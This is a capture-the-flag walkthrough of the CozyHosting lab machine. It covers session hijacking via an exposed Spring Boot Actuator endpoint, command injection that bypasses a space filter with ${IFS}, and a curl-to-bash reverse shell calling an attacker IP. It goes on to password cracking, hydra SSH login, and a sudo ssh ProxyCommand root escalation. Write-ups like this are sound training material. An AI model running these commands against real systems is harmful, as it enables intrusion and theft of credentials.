Overview
CozyHosting is an easy Linux machine that demonstrates how exposed Spring Boot Actuator endpoints can leak active session data. A disclosed JSESSIONID enables session hijacking and access to an administrative dashboard, where command injection provides an initial shell. Hardcoded PostgreSQL credentials inside the application’s JAR file lead to password reuse and SSH access as josh, followed by privilege escalation through a permitted sudo invocation of ssh.
Attack Chain
- Enumerate the web application and discover exposed Spring Boot Actuator endpoints
- Retrieve an active
JSESSIONIDfrom/actuator/sessions - Hijack the
kandersonsession and access the administrative dashboard - Identify command injection in the automatic patching functionality
- Bypass space filtering with
${IFS}and obtain a shell asapp - Extract the Spring Boot
JARfile and recover PostgreSQL credentials - Query the database and crack the stored
adminpassword hash - Reuse the password for SSH access as
josh - Abuse
sudopermission for/usr/bin/sshto spawn a root shell
Enumeration
Port Scanning
We start by defining the target and running a full TCP port scan to identify exposed services.
export IP=10.129.5.242; export NAME=COZYHOSTING; echo $IP; echo $NAME; ping $IP -c 1
nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME
The open TCP ports are:
22,80
The discovered ports are exported into a variable and passed to a service and version scan.
ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports
nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

Findings
The scan reveals SSH (22) and an HTTP service on port 80. The web service redirects to cozyhosting.htb, so the hostname is added to /etc/hosts.
echo "$IP cozyhosting.htb" | sudo tee -a /etc/hosts
Web Enumeration
CozyHosting Website
Browsing to port 80 reveals a website for a hosting provider called CozyHosting.

We use dirsearch to enumerate hidden paths and files.
export PORT=80
dirsearch -u http://cozyhosting.htb/ -t 40 -o ./scans/dirsearch_${NAME}_${PORT}_default.txt
The results include several /actuator endpoints associated with Spring Boot Actuator.

An /admin endpoint is also discovered, but unauthenticated requests are redirected to /login.
Spring Boot Actuator
Navigating to http://cozyhosting.htb/actuator returns an index of exposed Actuator endpoints. Although the links reference localhost:8080, the same paths are accessible through the public web service.

To make the dirsearch output easier to review, we filter for successful responses and remove entries with a zero-byte response body.
awk '$1 >= 200 && $1 < 300 {print}' scans/dirsearch_${NAME}_${PORT}_default.txt | awk '!/0B/'
The filtered output confirms the exposed Actuator endpoints.

The endpoint below is particularly interesting:
http://cozyhosting.htb/actuator/sessions
It exposes an active session belonging to kanderson together with the following session identifier:
5D1DD3D15AD951F1BA088F7E33F3C8D4
Foothold
Session Hijacking
Using the browser’s developer tools, we inspect the cookies stored for cozyhosting.htb. The application uses a JSESSIONID cookie, matching the format of the value disclosed by /actuator/sessions.

We replace the current JSESSIONID value with the session identifier belonging to kanderson, refresh the page, and navigate to /admin.
The stolen session is accepted, giving us authenticated access as K. Anderson.

Automatic Patching Functionality
At the bottom of the administrative dashboard is an automatic patching form. It accepts a hostname and username and appears to use SSH with a private key stored in authorized_keys.

Submitting 127.0.0.1 as the hostname and user as the username returns an SSH-related error.

The error suggests the backend is constructing a command similar to:
ssh -i id_rsa username@hostname
Command Injection
We test whether the username field can inject an additional command. First, we start a Python web server on the attacking machine.
python3 -m http.server 80
A basic payload containing spaces is submitted:
; curl http://10.10.14.59/test
The application rejects the input because the username value cannot contain spaces.

In Bash and other POSIX-style shells, ${IFS} expands to the Internal Field Separator and can be used in place of a literal space. We update the payload accordingly.
;${IFS}curl${IFS}http://10.10.14.59/test
The updated command is submitted through the patching form.

The Python server receives the request, confirming command execution on the target.

Reverse Shell
Direct msfvenom and Bash one-liner payloads do not return a shell. Instead, we create a small Bash reverse-shell script and host it on the Python web server.
echo -e '#!/bin/bash\nsh -i >& /dev/tcp/10.10.14.59/443 0>&1' > rev443.sh

A listener is started on port 443. We then use the command injection to download the script with curl and pipe it directly into Bash.
;${IFS}curl${IFS}http://10.10.14.59/rev443.sh|bash;

The listener receives a shell as the low-privileged app user.

Lateral Movement
Extracting the Application JAR
Enumerating the current directory reveals the Spring Boot application archive, cloudhosting-0.0.1.jar.

A JAR file is a ZIP-compatible archive, so we extract it into the writable /dev/shm directory.
unzip -d /dev/shm/app cloudhosting-0.0.1.jar

Searching the extracted application files reveals hardcoded PostgreSQL credentials.

postgres:Vg&nvzAQ7XxR
PostgreSQL Enumeration
We connect to the local PostgreSQL service using the recovered credentials.
psql -h localhost -U postgres
Authentication succeeds.

From the PostgreSQL prompt, we list the databases, connect to cozyhosting, enumerate its tables, and query the users table.
\list
\connect cozyhosting
\dt
select * from users;

The table contains a password hash for the admin account. We save it to a file on the attacking machine.

Cracking the Admin Hash
The hash is cracked with john using the rockyou.txt wordlist.
john --wordlist=/usr/share/wordlists/rockyou.txt creds/admin.hash

The recovered credentials are:
admin:manchesterunited
Password Reuse as josh
Enumeration of /etc/passwd and /home shows a local user named josh. We test whether the cracked password has been reused for this account.
hydra -l josh -p manchesterunited -f $IP ssh

The credentials are valid:
josh:manchesterunited
We establish an SSH session as josh.
ssh josh@$IP


The user flag can now be read.
cat /home/josh/user.txt

Privilege Escalation
Sudo SSH Abuse
We check the commands that josh can execute through sudo.
sudo -l
The output shows that /usr/bin/ssh can be run as root without supplying a password.

GTFOBins documents a privilege escalation technique that abuses SSH’s ProxyCommand option when the binary can be executed with sudo.
SSH sudo technique on GTFOBins

We execute the following command:
sudo /usr/bin/ssh -o ProxyCommand=';sh 0<&2 1>&2' x
The injected shell runs with root privileges.

The root flag can now be read.
cat /root/root.txt

Key Takeaways
CozyHosting demonstrates how operational endpoints can expose far more information than intended. A publicly accessible Spring Boot Actuator endpoint leaked a valid session cookie, allowing the administrative login to be bypassed entirely. Command injection in the authenticated patching functionality then provided code execution, while hardcoded database credentials inside the application archive exposed a reusable password. The final escalation shows why allowing complex binaries such as ssh through sudo can be equivalent to granting a root shell.